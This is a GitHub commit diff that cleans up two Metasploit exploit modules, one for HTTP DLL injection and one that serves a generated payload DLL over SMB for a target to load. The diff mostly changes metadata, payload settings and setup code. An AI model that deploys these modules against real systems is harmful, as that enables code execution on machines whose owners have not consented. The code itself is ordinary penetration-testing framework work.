Skip to content

Commit 77abd57

Browse files
committed
Do code cleanup
1 parent 22ff4d0 commit 77abd57

File tree

2 files changed

+36
-24
lines changed

2 files changed

+36
-24
lines changed

modules/exploits/windows/http/generic_http_dll_injection.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,11 @@ def initialize(info={})
2929
'Privileged' => false,
3030
'Arch' => [ARCH_X86, ARCH_X86_64],
3131
'Stance' => Msf::Exploit::Stance::Aggressive,
32+
'Payload' =>
33+
{
34+
'Space' => 2048,
35+
'DisableNops' => true
36+
},
3237
'References' =>
3338
[
3439
['CWE', '427']

modules/exploits/windows/smb/dllserver.rb

Lines changed: 31 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,60 +1,67 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
# This is an example implementation of using the
7-
# Msf::Exploit::Remote::SMBFileServer module
8-
# to serve an arbitrary DLL over SMB
9-
106
require 'msf/core'
117

128
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
1311
include Msf::Exploit::Remote::SMB::Server::Share
1412
include Msf::Exploit::EXE
1513

1614
def initialize(info={})
1715
super(update_info(info,
18-
'Name' => 'SMB DLL Server',
16+
'Name' => 'Generic DLL Injection From Shared Resource',
1917
'Description' => %q{
2018
This is an example implementation of using the SMBFileServer module
2119
to serve an arbitrary DLL over SMB.
2220
This module will sit around waiting for a DLL to be loaded,
2321
for instance by the "payload/windows/loadlibrary" module.
2422
},
25-
'Author' => [
26-
'Matthew Hall <[email protected]>',
27-
],
28-
'DisclosureDate' => 'Mar 05 2014',
29-
'Platform' => 'win',
30-
'Privileged' => true,
31-
'Arch' => ARCH_X86,
23+
'Author' =>
24+
[
25+
'Matthew Hall <hallm[at]sec-1.com>'
26+
],
3227
'References' =>
3328
[
34-
[ 'URL', 'http://www.sec-1.com/blog/'],
29+
['CWE', '114']
3530
],
3631
'DefaultOptions' =>
3732
{
3833
'EXITFUNC' => 'thread',
3934
},
40-
'Privileged' => true,
41-
'Platform' => [ 'win'],
35+
'Privileged' => false,
36+
'Platform' => 'win',
37+
'Arch' => [ARCH_X86, ARCH_X86_64],
38+
'Payload' =>
39+
{
40+
'Space' => 2048,
41+
'DisableNops' => true
42+
},
4243
'Targets' =>
4344
[
4445
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
4546
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
4647
],
47-
'DefaultTarget' => 0, # Default target is 32-bit
48-
))
49-
register_options(
50-
[
51-
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
52-
], self.class)
53-
deregister_options('FILE_CONTENTS')
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Mar 04 2015'
50+
))
51+
52+
register_options(
53+
[
54+
OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
55+
], self.class)
56+
57+
deregister_options('FILE_CONTENTS')
5458
end
5559

56-
def primer
60+
def setup
61+
super
62+
5763
self.file_contents = generate_payload_dll
64+
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
5865
print_status("File available on #{unc}...")
5966
end
6067

0 commit comments

Comments
 (0)